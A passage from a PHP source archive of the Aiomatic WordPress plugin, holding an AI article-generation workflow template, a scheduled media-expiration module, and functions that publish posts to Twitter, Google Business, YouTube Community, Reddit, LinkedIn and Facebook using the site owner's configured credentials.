'parameters' => array( 'prompt' => 'Craft an attention-grabbing and SEO-optimized article title on the topic of "%%keyword%%". This title must be concise, informative, and designed to pique the interest of readers while clearly conveying the topic of the article.', 'model' => 'gpt-4o-mini', 'assistant_id' => '', 'critical' => '0' ) ], [ 'identifier' => '2', 'name' => 'Create an article about a keyword', 'type' => 'ai_text', 'parameters' => array( 'prompt' => 'Write a comprehensive and SEO-optimized article on the topic of "%%keyword%%". Incorporate relevant keywords naturally throughout the article to enhance search engine visibility. This article must provide valuable information to readers and be well-structured with proper headings, bullet points, and HTML formatting. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Add an introductory and a conclusion section to the article. You can add also some other sections, when they fit the article\'s subject, like: benefits and practical tips, case studies, first had experience.Please ensure that the article is at least 1200 words in length and adheres to best SEO practices, including proper header tags (H1, H2, H3), meta title, and meta description.Feel free to use a friendly, conversational tone and make the article as informative and engaging as possible while ensuring it remains factually accurate and well-researched.', 'model' => 'gpt-4o-mini', 'assistant_id' => '', 'critical' => '0' ) ], [ 'identifier' => '3', 'name' => 'Generate featured image', 'type' => 'dalle_ai_image', 'parameters' => array( 'prompt' => 'Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this keyword: "%%keyword%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.', 'model' => 'dalle3', 'image_size' => '1024x1024', 'critical' => '0' ) ], [ 'identifier' => '4', 'name' => 'Publish post', 'type' => 'save_post', 'parameters' => array( 'post_title' => '%%ai_text_1%%', 'post_content' => '%%ai_text_2%%', 'featured_image' => '%%dalle_image_3%%', 'critical' => '0' ) ] ]); } ?>aiomatic-media-expirator.php000064400000006245147577714370012170 0ustar00ID, 'expiry_check', true); if(is_array($values)) { $values = $values[0]; } if ($values == "1") { $values_val = "checked"; } else { $values_val = ""; } $form_fields['expiry_check'] = array( 'label' => esc_html__('Enable Expiration', 'aiomatic-automatic-ai-content-writer'), 'input' => 'html', 'html' => '', 'value' => get_post_meta($post->ID, 'expiry_check', true), 'helps' => esc_html__('Set a date on which the image will be automatically deleted (by Aiomatic)', 'aiomatic-automatic-ai-content-writer') ); $form_fields['expiry_date'] = array( 'label' => esc_html__('Expiration Date', 'aiomatic-automatic-ai-content-writer'), 'input' => 'text', 'value' => get_post_meta($post->ID, 'expiry_date', true), 'helps' => esc_html__('Date format: YYYY-MM-DD, +3 days, +1 day', 'aiomatic-automatic-ai-content-writer') ); return $form_fields; } add_filter('attachment_fields_to_save', 'aiomatic_attachment_expiration_field_save', 10, 2); function aiomatic_attachment_expiration_field_save($post, $attachment) { if (isset($attachment['expiry_check'])) { update_post_meta($post['ID'], 'expiry_check', $attachment['expiry_check']); } else { update_post_meta($post['ID'], 'expiry_check', '0'); } if (isset($attachment['expiry_date'])) { $mydate = strtotime($attachment['expiry_date']); if($mydate !== false) { $tdate = date('Y-m-d', $mydate); update_post_meta($post['ID'], 'expiry_date', $tdate); } } return $post; } add_action('aiomatic_expired_post_delete', 'aiomatic_delete_expired_posts'); function aiomatic_delete_expired_posts() { $todays_date = date("Y-m-d"); $args = array( 'post_status' => 'any', 'post_type' => 'attachment', 'posts_per_page' => -1, 'meta_query' => array( array( 'key' => 'expiry_date', 'value' => $todays_date, 'type' => 'DATE', 'compare' => '<'), array( 'key' => 'expiry_check', 'value' => 1)) ); $posts = new WP_Query($args); if ($posts->have_posts()) { while ($posts->have_posts()) { $posts->the_post(); wp_delete_post(get_the_ID()); } } wp_reset_postdata(); } add_action('init', 'aiomatic_register_daily_post_delete_event'); function aiomatic_register_daily_post_delete_event() { if (!wp_next_scheduled('aiomatic_expired_post_delete')) { wp_schedule_event(time(), 'daily', 'aiomatic_expired_post_delete'); } } ?>index.php000064400000000037147577714370006412 0ustar00 aiomatic-socials.php000064400000230103147577714370010523 0ustar00 'Twitter App ID not set in Twitomatic plugin settings! Please set up the social poster plugin for this to work!'); } if (!isset($twitomatic_Main_Settings['app_secret']) || trim($twitomatic_Main_Settings['app_secret']) == '') { return array('error' => 'Twitter App Secret not set in Twitomatic plugin settings! Please set up the social poster plugin for this to work!'); } if(isset($twitomatic_Main_Settings['api_ver']) && trim($twitomatic_Main_Settings['api_ver']) == 'v2') { if (!isset($twitomatic_Main_Settings['access_token']) || trim($twitomatic_Main_Settings['access_token']) == '') { return array('error' => 'Please insert your Access Token in Twitomatic plugin settings before we can automatically publish on Twitter using v2 API.'); } if (!isset($twitomatic_Main_Settings['access_token_secret']) || $twitomatic_Main_Settings['access_token_secret'] == '') { return array('error' => 'Please insert your Access Token Secret in plugin settings before we can automatically publish on Twitter using v2 API.'); } } else { $access_token_id = get_option('twitomatic_access_token_str', false); $access_token_secret = get_option('twitomatic_access_token_scr', false); $access_token_id_auth_id = get_option('twitomatic_access_token_auth_id', false); $access_token_id_auth_secret = get_option('twitomatic_access_token_auth_secret', false); if ($access_token_secret === false || $access_token_id === false || $access_token_id_auth_secret === false || $access_token_id_auth_id != trim($twitomatic_Main_Settings['app_id']) || $access_token_id_auth_secret != trim($twitomatic_Main_Settings['app_secret'])) { return array('error' => 'Twitter Authentication not set correctly'); } } $plugin_folder = $card_type_found['required_plugin']; $plugin_folder = key($plugin_folder); $plugin_folder = explode('/', $plugin_folder); $plugin_folder = $plugin_folder[0]; $social_plugins_folder = dirname(__FILE__); $social_plugins_folder = str_replace('aiomatic-automatic-ai-content-writer', $plugin_folder, $social_plugins_folder); $posted = false; try { if(function_exists('normalizer_normalize') && function_exists('normalizer_is_normalized') && class_exists('Normalizer')) { if(!normalizer_is_normalized($post_template, Normalizer::FORM_C)){ $post_template2 = normalizer_normalize($post_template, Normalizer::FORM_C); } else { $post_template2 = $post_template; } if(strlen($post_template2) > 280) { if(function_exists('mb_substr')) { $post_template = mb_substr($post_template, 0, 280); } else { $post_template = substr($post_template, 0, 280); } } } elseif(function_exists('mb_strlen') && function_exists('mb_substr')) { if( mb_strlen($post_template, 'utf-8') > 280) { $post_template = mb_substr($post_template, 0, 280); } } else { if(strlen($post_template) > 280) { $post_template = substr($post_template, 0, 280); } } $post_template = html_entity_decode($post_template); if(isset($twitomatic_Main_Settings['api_ver']) && trim($twitomatic_Main_Settings['api_ver']) == 'v2') { require_once($social_plugins_folder . "/res/apiv2/ca-bundle-main/src/CaBundle.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/Util/JsonDecoder.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/Config.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/Util.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/TwitterOAuthException.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/Token.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/Consumer.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/SignatureMethod.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/HmacSha1.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/Request.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/Response.php"); require_once($social_plugins_folder . "/res/apiv2/twitteroauth-main/src/TwitterOAuth.php"); $twitter = new TwitterOAuth(trim($twitomatic_Main_Settings['app_id']), trim($twitomatic_Main_Settings['app_secret']), trim($twitomatic_Main_Settings['access_token']), trim($twitomatic_Main_Settings['access_token_secret'])); $twitter->setApiVersion('2'); $media_id = array(); if($featured_image != '') { if(!class_exists('\Codebird\Codebird')) { require_once($social_plugins_folder . "/res/codebird/codebird.php"); } \Codebird\Codebird::setConsumerKey(trim($twitomatic_Main_Settings['app_id']), trim($twitomatic_Main_Settings['app_secret'])); $cb = \Codebird\Codebird::getInstance(); $cb->setToken(trim($twitomatic_Main_Settings['access_token']), trim($twitomatic_Main_Settings['access_token_secret'])); $cb->setRemoteDownloadTimeout(30000); $reply = $cb->media_upload(array( 'media' => twitomatic_encodeURI($featured_image) )); if($reply->httpstatus == '200') { $media_id[] = $reply->media_id_string; } else { aiomatic_log_to_file('Problems in codebird v2 media upload: ' . print_r($reply, true) ); } } $params = array(); $params['text'] = $post_template; $media_ids_arr = array(); if(count($media_id) > 0) { $media_ids_arr[] = $media_id[0]; } if(count($media_ids_arr) > 0) { $params['media'] = array('media_ids' => $media_ids_arr); } $reply = $twitter->post("tweets", $params, true); if ($twitter->getLastHttpCode() != 201) { return array('error' => 'Problems in Twitter API v2 statuses_update: ' . print_r($reply, true) . ' - ' . $twitter->getLastHttpCode()); } else { $posted = true; } } else { if(!class_exists('\Codebird\Codebird')) { require_once($social_plugins_folder . "/res/codebird/codebird.php"); } \Codebird\Codebird::setConsumerKey(trim($twitomatic_Main_Settings['app_id']), trim($twitomatic_Main_Settings['app_secret'])); $cb = \Codebird\Codebird::getInstance(); $cb->setToken($access_token_id, $access_token_secret); $cb->setRemoteDownloadTimeout(30000); $media_id = array(); if($featured_image != '') { $reply = $cb->media_upload(array( 'media' => twitomatic_encodeURI($featured_image) )); if($reply->httpstatus == '200') { $media_id[] = $reply->media_id_string; } else { aiomatic_log_to_file('Problems in codebird media upload: ' . print_r($reply, true) ); } } $params = array(); $params['status'] = $post_template; if(count($media_id) > 0) { $params['media_ids'] = $media_id[0]; } $reply = $cb->statuses_update($params); if($reply->httpstatus != '200') { return array('error' => 'Problems in codebird statuses_update: ' . print_r($reply, true)); } else { $posted = true; } } } catch(Exception $e) { return array('error' => 'Exception thrown in Twitter posting: ' . $e->getMessage()); } if($posted == true) { return array('success' => 'Published'); } else { return array('error' => 'Nothing was posted, no results'); } } function aiomatic_post_to_gmb($card_type_found, $post_template, $featured_image, $page_to_post) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $businessomatic_Business_Settings = get_option('businessomatic_Business_Settings', false); $businessomatic_Main_Settings = get_option('businessomatic_Main_Settings', false); if (!isset($businessomatic_Main_Settings['oauth_key']) || trim($businessomatic_Main_Settings['oauth_key']) == '') { return array('error' => 'Please insert your Google OAuth2 Key in plugin settings before we can automatically publish on Google Business.'); } if (!isset($businessomatic_Main_Settings['oauth_secret']) || trim($businessomatic_Main_Settings['oauth_secret']) == '') { return array('error' => 'Please insert your Google OAuth2 Secret in plugin settings before we can automatically publish on Google Business.'); } $selected_pids = array($page_to_post); $plugin_folder = $card_type_found['required_plugin']; $plugin_folder = key($plugin_folder); $plugin_folder = explode('/', $plugin_folder); $plugin_folder = $plugin_folder[0]; $social_plugins_folder = dirname(__FILE__); $social_plugins_folder = str_replace('aiomatic-automatic-ai-content-writer', $plugin_folder, $social_plugins_folder); $posted = false; try { require_once($social_plugins_folder . "/res/Google/vendor/autoload.php"); require_once($social_plugins_folder . "/res/GoogleMyBusiness/MyBusiness.php"); $client = new Google_Client(); $client->setClientId(get_option('businessomatic_access_token_auth_id', false)); $client->setClientSecret(get_option('businessomatic_access_token_auth_secret', false)); $client->setScopes('https://www.googleapis.com/auth/plus.business.manage'); $client->setAccessType('offline'); $at = get_option('businessomatic_access_token_str', false); if(!is_array($at) && businessomatic_is_json($at)) { $at = json_decode($at, true); } if(isset($at['created']) && isset($at['expires_in'])) { if($at['created'] + $at['expires_in'] < time()) { $refreshToken = get_option('businessomatic_refresh_token', false); if($refreshToken !== false) { $client->refreshToken($refreshToken); $newtoken = $client->getAccessToken(); if(!is_array($newtoken) && businessomatic_is_json($newtoken)) { $newtoken = json_decode($newtoken, true); } $newtoken = json_encode($newtoken); update_option('businessomatic_access_token_str', $newtoken); } else { businessomatic_log_to_file('Failed to get REFRESH TOKEN from auth request. You might need to manually reauthorize the app!'); $at = json_encode($at); $client->setAccessToken($at); } } else { $at = json_encode($at); $client->setAccessToken($at); } } else { throw new Exception('Invalid access token format ' . print_r($at, true)); } if ($client->getAccessToken()) { $post_template = strip_tags($post_template); $post_template = str_replace('<', '', $post_template); $post_template = str_replace('>', '', $post_template); $post_template = html_entity_decode($post_template, ENT_QUOTES | ENT_XML1, 'UTF-8'); $gmb = new Google_Service_MyBusiness($client); if (isset($businessomatic_Business_Settings['post_language']) && $businessomatic_Business_Settings['post_language'] != '') { $lang_code = $businessomatic_Business_Settings['post_language']; } else { $lang_code = 'en-US'; } foreach($selected_pids as $spid) { $posts = $gmb->accounts_locations_localPosts; $newPost = new Google_Service_MyBusiness_LocalPost(); $newPost->setTopicType('STANDARD'); if(strlen($post_template) > 1499) { $post_template = substr($post_template, 0, 1499); } $newPost->setSummary($post_template); $newPost->setLanguageCode($lang_code); if (isset($businessomatic_Business_Settings['call_type']) && trim($businessomatic_Business_Settings['call_type']) != 'DISABLED') { if (isset($businessomatic_Business_Settings['call_url']) && trim($businessomatic_Business_Settings['call_url']) != '') { $calltoaction = new Google_Service_MyBusiness_CallToAction(); $calltoaction->setActionType($businessomatic_Business_Settings['call_type']); $call_url = $businessomatic_Business_Settings['call_url']; $calltoaction->setUrl($call_url); $newPost->setCallToAction($calltoaction); } } if($featured_image != '') { $media = new Google_Service_MyBusiness_MediaItem(); $media->setMediaFormat("PHOTO"); $media->setSourceUrl($featured_image); $newPost->setMedia($media); } try { $listPostsResponse = $posts->create($spid, $newPost); if($listPostsResponse !== false) { $posted = true; } } catch(Exception $e) { return array('error' => 'Exception while posting to business ID: ' . $spid . ', post content: ' . print_r($newPost, true) . ', error while posting: ' . $e->getMessage() . ' trace: ' . $e->getTraceAsString()); } } } else { throw new Exception('Failed to set access token!'); } } catch(Exception $e) { return array('error' => 'Exception thrown in Google Business posting: ' . $e->getMessage()); } if($posted == true) { return array('success' => 'Published'); } else { return array('error' => 'Nothing was posted, no results'); } } function aiomatic_post_to_youtube_community($card_type_found, $post_template, $send_type, $media) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $youtubomatic_Community_Settings = get_option('youtubomatic_Community_Settings', false); $youtubomatic_Main_Settings = get_option('youtubomatic_Main_Settings', false); if (!isset($youtubomatic_Community_Settings['cookie_login_info']) || trim($youtubomatic_Community_Settings['cookie_login_info']) == '') { return array('error' => 'YouTube cookie_login_info not set in Youtubomatic plugin settings! Please set up the social poster plugin for this to work!'); } if (!isset($youtubomatic_Community_Settings['cookie_papisid']) || trim($youtubomatic_Community_Settings['cookie_papisid']) == '') { return array('error' => 'YouTube cookie_papisid not set in Youtubomatic plugin settings! Please set up the social poster plugin for this to work!'); } if (!isset($youtubomatic_Community_Settings['cookie_psid']) || trim($youtubomatic_Community_Settings['cookie_psid']) == '') { return array('error' => 'YouTube cookie_psid not set in Youtubomatic plugin settings! Please set up the social poster plugin for this to work!'); } $cookie_login_info = trim($youtubomatic_Community_Settings['cookie_login_info']); $cookie_papisid = trim($youtubomatic_Community_Settings['cookie_papisid']); $cookie_psid = trim($youtubomatic_Community_Settings['cookie_psid']); $plugin_folder = $card_type_found['required_plugin']; $plugin_folder = key($plugin_folder); $plugin_folder = explode('/', $plugin_folder); $plugin_folder = $plugin_folder[0]; $social_plugins_folder = dirname(__FILE__); $social_plugins_folder = str_replace('aiomatic-automatic-ai-content-writer', $plugin_folder, $social_plugins_folder); $posted = false; try { if(!function_exists('GuzzleHttp\\Promise\\queue')) { youtubomatic_require_all($social_plugins_folder . "/res/Guzzle"); } require_once($social_plugins_folder . "/res/YoutubeCommunity.php"); $guzzle_proxy = ''; if (isset($youtubomatic_Main_Settings['proxy_url']) && $youtubomatic_Main_Settings['proxy_url'] != '') { curl_setopt($ch, CURLOPT_PROXY, $youtubomatic_Main_Settings['proxy_url']); if (isset($youtubomatic_Main_Settings['proxy_auth']) && $youtubomatic_Main_Settings['proxy_auth'] != '') { $guzzle_proxy = 'http://' . $youtubomatic_Main_Settings['proxy_auth'] . '@' . $youtubomatic_Main_Settings['proxy_url']; } else { $guzzle_proxy = 'http://' . $youtubomatic_Main_Settings['proxy_url']; } } $yt_community = new YoutubeCommunityClass($cookie_login_info, $cookie_papisid, $cookie_psid, $guzzle_proxy); $posting_result = $yt_community->post( $post_template, $send_type, $media ); if($posting_result['status'] == 'ok') { $posted = true; } else { return array('error' => 'Error while posting to YouTube Community Tab: ' . print_r($posting_result, true)); } } catch(Exception $e) { return array('error' => 'Exception thrown in YouTube community posting: ' . $e->getMessage()); } if($posted == true) { return array('success' => 'Published'); } else { return array('error' => 'Nothing was posted, no results'); } } function aiomatic_post_to_reddit($card_type_found, $title_template, $post_template, $send_type, $subreddit_to_post) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $redditomatic_Main_Settings = get_option('redditomatic_Main_Settings', false); $redditomatic_Reddit_Settings = get_option('redditomatic_Reddit_Settings', false); if (!isset($redditomatic_Main_Settings['app_id']) || trim($redditomatic_Main_Settings['app_id']) == '') { return array('error' => 'Please insert your Reddit App ID in Youtubomatic plugin settings! Please set up the social poster plugin for this to work!'); } if (!isset($redditomatic_Main_Settings['app_secret']) || trim($redditomatic_Main_Settings['app_secret']) == '') { return array('error' => 'Please insert your Reddit App secret in Youtubomatic plugin settings! Please set up the social poster plugin for this to work!'); } $authorized = FALSE; if (get_option('redditomatic_auth_id', false) !== FALSE) { if (get_option('redditomatic_auth_secret', false) !== FALSE) { if (trim($redditomatic_Main_Settings['app_id']) == get_option('redditomatic_auth_id', false) && trim($redditomatic_Main_Settings['app_secret']) == get_option('redditomatic_auth_secret', false)) { $authorized = TRUE; } } } if ($authorized === FALSE) { return array('error' => 'The plugin is not authenticated correctly. Please reauthorize it in Redditomatic plugin settings.'); } $plugin_folder = $card_type_found['required_plugin']; $plugin_folder = key($plugin_folder); $plugin_folder = explode('/', $plugin_folder); $plugin_folder = $plugin_folder[0]; $social_plugins_folder = dirname(__FILE__); $social_plugins_folder = str_replace('aiomatic-automatic-ai-content-writer', $plugin_folder, $social_plugins_folder); $posted = false; if(!empty($subreddit_to_post)) { $reddit_list = $subreddit_to_post; } else { $reddit_list = $redditomatic_Reddit_Settings['subreddits_list']; } $reddit_list = explode(',', $reddit_list); if(count($reddit_list) == 0) { return array('error' => 'No subreddits defined in OmniBlock settings: ' . $e->getMessage()); } $post_template = strip_tags($post_template); try { if(!class_exists('reddit')) { require_once($social_plugins_folder . "/res/reddit-sdk/reddit.php"); } $actual_link = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; $reddit = new reddit(trim($redditomatic_Main_Settings['app_id']), trim($redditomatic_Main_Settings['app_secret']), $actual_link, false); if($reddit == false) { return array('error' => 'Failed to init reddit sdk.'); } $multi_run = false; if($send_type != '') { $kind = $send_type; } else { if (isset($redditomatic_Reddit_Settings['submit_kind']) && $redditomatic_Reddit_Settings['submit_kind'] != '') { $kind = $redditomatic_Reddit_Settings['submit_kind']; } else { $kind = ''; } } if($kind == 'auto') { $kind = ''; } foreach ($reddit_list as $subreddit) { $reddit_url = null; if($multi_run == true) { if (isset($redditomatic_Reddit_Settings['timeout_post']) && $redditomatic_Reddit_Settings['timeout_post'] != '' && is_numeric($redditomatic_Reddit_Settings['timeout_post'])) { $sleep_me = $redditomatic_Reddit_Settings['timeout_post'] * 1000000; usleep($sleep_me); } } if($multi_run == false) { $multi_run = true; } $subreddit = trim($subreddit); $subreddit = trim($subreddit, '/'); $red_match = ''; preg_match('#https?:\/\/(?:www\.)?reddit\.com\/r\/([^\/]*)\/?#', $subreddit, $red_match); if(isset($red_match[1])) { $subreddit = $red_match[1]; } $subreddit = str_replace('r/', '', $subreddit); if (isset($redditomatic_Reddit_Settings['only_text']) && $redditomatic_Reddit_Settings['only_text'] == 'on') { $reddit_url = null; $kind = 'self'; } else { if($kind != 'image' && $kind != 'video') { if(isset($redditomatic_Main_Settings['link_dirrectly']) && $redditomatic_Main_Settings['link_dirrectly'] == 'on' && !empty($post_template)) { $reddit_url = $post_template; } if (isset($redditomatic_Reddit_Settings['first_url']) && $redditomatic_Reddit_Settings['first_url'] == 'on') { $regex = '/https?\:\/\/[^\<" \n]+/i'; preg_match($regex, htmlspecialchars_decode($post_template), $matches); if(isset($matches[0]) && filter_var($matches[0], FILTER_VALIDATE_URL)) { $reddit_url = $matches[0]; } } } elseif($kind == 'image') { if($post_template != '') { $reddit_url = $post_template; } else { return array('error' => 'No image found to be posted to Reddit'); } } elseif($kind == 'video') { if($post_template != '') { $reddit_url = $post_template; } else { return array('error' => 'No video found to be posted to Reddit'); } } } if (isset($redditomatic_Reddit_Settings['nsfw']) && $redditomatic_Reddit_Settings['nsfw'] == 'on') { $nsfw = true; } else { $nsfw = false; } if (isset($redditomatic_Reddit_Settings['spoiler']) && $redditomatic_Reddit_Settings['spoiler'] == 'on') { $spoiler = true; } else { $spoiler = false; } if (isset($redditomatic_Reddit_Settings['reply']) && $redditomatic_Reddit_Settings['reply'] == 'on') { $reply = true; } else { $reply = false; } $response = $reddit->createStory($title_template, $reddit_url, $subreddit, $post_template, $kind, $nsfw, $spoiler, $reply); if($response === null || $response === false) { if($response === false) { return array('error' => 'Failed to submit post to Reddit!'); } else { return array('error' => 'Failed to submit post to Reddit - null!'); } } else { $json = json_encode($response); if(stristr($json, 'you are doing that too much. try again in') !== false) { return array('error' => 'You are submitting posts to often to Reddit (Rate Limited). Please wait 10 minutes and try again.'); } else { if(stristr($json, '"success":true') !== false) { $posted = true; } else { return array('error' => "Error occured while submitting post to Reddit: " . $json); } } } } } catch(Exception $e) { return array('error' => 'Exception thrown in YouTube community posting: ' . $e->getMessage()); } if($posted == true) { return array('success' => 'Published'); } else { return array('error' => 'Nothing was posted, no results'); } } function aiomatic_post_to_linkedin($card_type_found, $post_template, $featured_image, $post_title, $post_link, $post_description, $attach_lnk, $selected_pages) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $linkedinomatic_Main_Settings = get_option('linkedinomatic_Main_Settings', false); if (!isset($linkedinomatic_Main_Settings['app_id']) || trim($linkedinomatic_Main_Settings['app_id']) == '') { return array('error' => 'LinkedIn App ID not set in Linkedinomatic plugin settings! Please set up the social poster plugin for this to work!'); } if (!isset($linkedinomatic_Main_Settings['app_secret']) || trim($linkedinomatic_Main_Settings['app_secret']) == '') { return array('error' => 'LinkedIn App Secret not set in Linkedinomatic plugin settings! Please set up the social poster plugin for this to work!'); } $authorized = FALSE; if (get_option('linkedinomatic_auth_id', false) !== FALSE) { if (get_option('linkedinomatic_auth_secret', false) !== FALSE) { if ($linkedinomatic_Main_Settings['app_id'] == get_option('linkedinomatic_auth_id', false) && $linkedinomatic_Main_Settings['app_secret'] == get_option('linkedinomatic_auth_secret', false)) { $authorized = TRUE; } } } if ($authorized === FALSE) { return array('error' => 'LinkedIn plugin not authorized to post! Authorize the Linkedinomatic plugin in its settings.'); } $plugin_folder = $card_type_found['required_plugin']; $plugin_folder = key($plugin_folder); $plugin_folder = explode('/', $plugin_folder); $plugin_folder = $plugin_folder[0]; $social_plugins_folder = dirname(__FILE__); $social_plugins_folder = str_replace('aiomatic-automatic-ai-content-writer', $plugin_folder, $social_plugins_folder); $posted = false; if(empty($selected_pages)) { $linkedinomatic_LinkedIn_Settings = get_option('linkedinomatic_LinkedIn_Settings', false); $selected_pages = $linkedinomatic_LinkedIn_Settings['selected_pages']; if(!is_array($selected_pages)) { if($selected_pages == '') { return array('error' => 'You need to specify the company pages where you wish to post.'); } else { $selected_pages = explode(',', $selected_pages); $selected_pages = array_map('trim', $selected_pages); } } } elseif(!is_array($selected_pages)) { $selected_pages = array($selected_pages); } if(strlen($post_title) > 255) { $post_title = substr($post_title, 0, 255); } $access_token = get_option('linkedinomatic_access_token', false); if(!isset($access_token['access_token'])) { return array('error' => 'Invalid access token format: ' . print_r($access_token, true)); } try { if( !class_exists( 'CRLinkedInOAuth2' ) ) { require_once( $social_plugins_folder . '/res/LinkedIn/LinkedIn.OAuth2.class.php' ); } $linkedin = new CRLinkedInOAuth2(); if( !$linkedin ) { throw new Exception('Failed to init LinkedIn (stage 2)!'); } if(empty($post_title)) { $post_title = ''; } if(empty($post_link)) { $post_link = ''; } if(empty($post_template)) { $post_template = ''; } if(empty($featured_image)) { $featured_image = ''; } if(empty($post_description)) { $post_description = ''; } $licontent = array( 'title' => $post_title, 'submitted-url' => $post_link, 'comment' => $post_template, 'submitted-image-url' => $featured_image, 'description' => $post_description ); if ($attach_lnk == '1') { $attach_lnk = true; } else { $attach_lnk = false; } foreach($selected_pages as $sps) { if(strstr($sps, 'xxxLinkedinomaticxxx') !== false) { $sps = str_replace('xxxLinkedinomaticxxx', '', $sps); $response = $linkedin->shareStatusPostAPI( $licontent, 'urn:li:organization:' . $sps, $access_token['access_token'], $attach_lnk ); if( !empty( $response['id'] ) ) { $posted = true; } else { return array('error' => 'Failed to publish post ' . $licontent['title'] . ' to company page ' . $sps . ' error: ' . print_r($response, true)); } } else { $response = $linkedin->shareStatusPostAPI( $licontent, 'urn:li:person:' . $sps, $access_token['access_token'], $attach_lnk ); if( !empty( $response['id'] ) ) { $posted = true; } else { return array('error' => 'Failed to publish post ' . $licontent['title'] . ' to profile page ' . $sps . ' error: ' . print_r($response, true)); } } } } catch(Exception $e) { return array('error' => 'Exception thrown in LinkedIn posting: ' . $e->getMessage()); } if($posted == true) { return array('success' => 'Published'); } else { return array('error' => 'Nothing was posted, no results'); } } function aiomatic_post_to_facebook($card_type_found, $post_template, $post_link, $page_to_post) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $fbomatic_Facebook_Settings = get_option('fbomatic_Facebook_Settings', false); $fbomatic_Main_Settings = get_option('fbomatic_Main_Settings', false); if (!isset($fbomatic_Main_Settings['app_id2']) || trim($fbomatic_Main_Settings['app_id2']) == '') { if (!isset($fbomatic_Main_Settings['app_id']) || trim($fbomatic_Main_Settings['app_id']) == '') { return array('error' => 'Facebook App ID not set in F-omatic plugin settings! Please set up the social poster plugin for this to work!'); } } if (!isset($fbomatic_Main_Settings['app_secret2']) || trim($fbomatic_Main_Settings['app_secret2']) == '') { if (!isset($fbomatic_Main_Settings['app_secret']) || trim($fbomatic_Main_Settings['app_secret']) == '') { return array('error' => 'Facebook App secret not set in F-omatic plugin settings! Please set up the social poster plugin for this to work!'); } } if (isset($fbomatic_Main_Settings['app_secret2']) && trim($fbomatic_Main_Settings['app_secret2']) != '') { $app_secret = trim($fbomatic_Main_Settings['app_secret2']); } else { if (isset($fbomatic_Main_Settings['app_secret']) && trim($fbomatic_Main_Settings['app_secret']) != '') { $app_secret = trim($fbomatic_Main_Settings['app_secret']); } } if (isset($fbomatic_Main_Settings['app_id2']) && trim($fbomatic_Main_Settings['app_id2']) != '') { $app_id = trim($fbomatic_Main_Settings['app_id2']); } else { if (isset($fbomatic_Main_Settings['app_id']) && trim($fbomatic_Main_Settings['app_id']) != '') { $app_id = trim($fbomatic_Main_Settings['app_id']); } } $authorized = FALSE; if (get_option('fbomatic_auth_id', false) !== FALSE) { if (get_option('fbomatic_auth_secret', false) !== FALSE) { if ($app_id == get_option('fbomatic_auth_id', false) && $app_secret == get_option('fbomatic_auth_secret', false)) { $authorized = TRUE; } } } if ($authorized === FALSE) { return array('error' => 'Plugin not authorized to post! For this to work, please authorize the social poster plugin from its settings!'); } if (!isset($fbomatic_Main_Settings['access_token']) || $fbomatic_Main_Settings['access_token'] == '') { $access_token = get_option('fbomatic_access_token', false); } else { $access_token = $fbomatic_Main_Settings['access_token']; } $store = get_option('fbomatic_page_ids', false); $pageIds = array(); if ($store !== false) { $store = explode(',', $store); $count = count($store); for ($i = 0; $i < $count; $i++) { $exploding = explode('-', $store[$i]); if (!isset($exploding[2])) { continue; } $pageIds[$exploding[0]] = $exploding[1]; } } $store = get_option('fbomatic_group_ids', false); $groupIds = array(); if ($store !== false) { $store = explode(',', $store); $count = count($store); for ($i = 0; $i < $count; $i++) { $exploding = explode('-', $store[$i]); if (!isset($exploding[2])) { continue; } $groupIds[$exploding[0]] = $exploding[1]; } } if (count($groupIds) == 0 && count($pageIds) == 0) { return array('error' => 'No groupd id or page id selected in social poster plugin settings! Please set up the social poster plugin for this to work!'); } $selected_pids = array(); if($page_to_post != '') { foreach ($pageIds as $pId => $token) { if ($pId == $page_to_post) { $selected_pids[$pId] = $token; } } } else { if (isset($fbomatic_Facebook_Settings['facebook_pages']) && is_array($fbomatic_Facebook_Settings['facebook_pages'])) { $facebook_pages = $fbomatic_Facebook_Settings['facebook_pages']; foreach ($pageIds as $pId => $token) { if (in_array($pId, $facebook_pages)) { $selected_pids[$pId] = $token; } } } } if (isset($fbomatic_Facebook_Settings['facebook_groups']) && is_array($fbomatic_Facebook_Settings['facebook_groups'])) { $facebook_groups = $fbomatic_Facebook_Settings['facebook_groups']; foreach ($groupIds as $pId => $token) { if (in_array($pId, $facebook_groups)) { $selected_pids[$pId] = $token; } } } if(isset($fbomatic_Facebook_Settings['group_post_id']) && $fbomatic_Facebook_Settings['group_post_id'] != '') { $pIds = explode(',', 